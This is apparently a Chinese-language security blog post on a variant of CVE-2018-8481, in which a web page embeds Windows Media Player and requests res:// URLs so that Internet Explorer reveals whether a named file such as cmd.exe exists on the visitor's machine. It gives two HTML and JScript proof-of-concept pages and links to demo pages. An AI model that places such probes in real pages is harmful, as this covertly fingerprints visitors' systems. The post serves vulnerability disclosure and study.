在網頁中通過調用Windows Media Player來探測特定文件
首先,我將要提出的這種方法,其實是CVE-2018-8481的變種:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8481
?假設攻擊者想要探測目標機器的C:windowssystem32
文件夾中是否存在的cmd.exe
文件。 ?那麼,我們就可以利用javascript調用Windows Media Player(wmplayer.exe)來載入這個文件,文件存在與否會影響播放器的行為模式。?其中利用代碼中的"res:"代表資源,表示Internet Explorer從二進位文件載入內部資源。?具體格式為:res://resourcefile.ext/resourceitem
所有二進位文件的文件信息都可以在resource/16/1
中找到。
res://filename/16/1
其中16=RT_VERSION,具體說明可在微軟的網址https://msdn.microsoft.com/en-us/library/windows/desktop/ms648009(v=vs.85).aspx.aspx)中找到。?這個16可以視為一個常量值,不用經常更改,代表所有二進位文件中的資源。
?默認情況下,瀏覽器會假定所需資源文件位於C:windowssystem32
中,但我們可以請求系任何路徑上的文件。
?如果要檢測Windows Media Player本身是否存在,我們可以利用:
res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1
為了更加進行比對,我們可以特意請求一個不存在的exe文件,看兩者的請求結果。
res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1
?以上兩個資源請求對應以下兩個PoC:
<b> res://C:Program FilesWindows Media Playerwmplayer.exe/16/1 </b>
<br>
<br>
?
<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">
<PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1">
<param name="captioningID" value="displaylyric" />
<PARAM NAME="autoStart" VALUE="True">
</object>
<script LANGUAGE = "Jscript" FOR = Player EVENT = error()>
?
if(Player.error.item(0).errorDescription.length==189){
alert("Click the play button");
}
else
{
alert("Click the play button");
}
</script>
以下時請求不存在的文件的PoC,注意文件的後綴是不存在的ex
:
<b> res://C:Program FilesWindows Media Playerwmplayer.ex/16/1 </b>
<br>
<br>
?
<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">
<PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1">
<param name="captioningID" value="displaylyric" />
<PARAM NAME="autoStart" VALUE="True">
</object>
<script LANGUAGE = "Jscript" FOR = Player EVENT = error()>
?
if(Player.error.item(0).errorDesc ription.length==189){
alert("Click the play button");
}
else
{
alert("Click the play button");
}
</script>
?而這兩個頁面在實際操作中最明顯的區別就是:當請求不存在的文件時,Windows Media Player會展示「正在打開媒體」;而請求存在的文件時,則不存在這種現象。這也導致這兩種情況有一定的時間差。
?現在,讓我們實際操作一下。我已經做出兩個頁面來展示我們如何探測特定文件的存在與否,我們以cmd.exe
作為目標。
?當探測的文件存在時:https://pwning.click/Tdiff.php
?當探測的文件不存在時:https://pwning.click/Tdiff2.php
?當訪問第一個網址https://pwning.click/Tdiff.php時,我們可以看到Windows Media Player播放器。